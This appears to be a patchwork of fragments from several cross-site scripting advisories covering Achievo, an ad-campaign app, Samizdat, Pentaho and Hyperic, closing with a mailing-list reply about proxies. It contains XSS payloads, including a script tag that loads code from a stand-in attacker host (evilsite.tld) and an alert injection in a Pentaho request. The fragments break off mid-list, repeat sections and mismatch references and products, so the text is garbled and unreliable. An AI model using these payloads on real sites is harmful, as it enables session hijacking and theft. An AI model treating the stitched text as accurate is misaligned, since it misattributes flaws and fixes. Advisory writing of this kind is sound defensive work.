This XSS can be triggered by sending invalid data for numeric
parameters in several '.do' pages, causing the webapp to raise a
'java.lang.NumberFormatException' exception; this way,
'GenericError.jsp' will be called and it will print the data that
caused the exception without escaping HTML characters, leading to the
XSS vulnerability.
The following '.do' pages are affected, among others:
/-----
Additional Information:
If: $config_session_regenerate = false; is set to 'true' in the config.inc.php then the session id's will be regenerated on each hit/click preventing session hijacking.
-:: Solution ::-
The most easy solution is to validate user input and strip or convert bad / html characters. Setting the above to true might solve the issue partially, however session hijacking is only one of the things you can do with cross site scripting.
Conclusion:
Achievo seems generally like a secure system with exception for the above. This advisory didn't contain that much, but it's still 1 very minor and 1 minor hole. Basically the exploitation success all relies on the administrator or user you execute this attack on.
Reference:
http://www.website.tld/adpeeps/index.php?loc=view_campaign_stats&uid=100000&campaignid=VALIDID (first- and/or last-name)
The above "abnormal" injection we tested with was: "></td></tr></table><SCRIPT SRC=http://evilsite.tld/xss.js></SCRIPT><!--
-:: Solution ::-
The most easy solution is to validate user input and strip or convert bad / html characters.
Conclusion:
Even if One decides to (ab)use the Advertiser Name, First- and Last-name's as injection points and the administrator sees this (in an e-mail), then he will still be affected by the injection and possibly have a hard time deleting those malicious users safely except if he might have NoScript turned on for his own website. (the injection points might render the desired pages useless)
Reference:
References: CVS-2009-0359, DTSA-194-1
Description:
Samizdat 0.6.1 contains several code paths that fail to escape special HTML
characters in message title and user full name before these strings are included
in a Web page (in earlier versions, only user full name is exploitable). This
allows an attacker to perform a cross-site scripting attack by including a
specially crafted string in their full name or message title.
Test:
Users can be induced to issue the attacker's crafted request in various ways.
For example, an attacker can send to the victim a link containing a
malicious URL in
an email or instant message, instead of submit the link to popular web
applications
that don't escape HTML characters such as <>'\().
An example is the following:
GET /pentaho/ViewAction?&
outputType=khgj345<script>alert('Pwnd')</script>kjh3535
Description:
An authenticated Hyperic user can create an alert with JavaScript code
in the Description field. When a user visits the Alerts list, the
Description field of every alert is displayed without properly escaping
especial HTML characters, thus leading to a persistent XSS.
Mitigation:
3.2 users should upgrade to 3.2.6 and then apply the 3.2.6.1 patch
4.0 users should upgrade to 4.0.3 and then apply the 4.0.3.1 patch
4.1 users should upgarde to 4.1.2 and then apply the 4.1.2.1 patch
Interesting research, Tavis!
Have you looked at what a proxy-server would do with this type of
request? Most fail with "requested URL could not be retrieved" error but
some report the URL back to the browser. Squid in particular does but it
filters HTML characters.
Also if the proxy server is on a regular server (vs a content engine)
you can reach the local web server of the host. A possible way to reconfigure
home routers with proxy servers or enumerate if a transparent proxy is
in place.
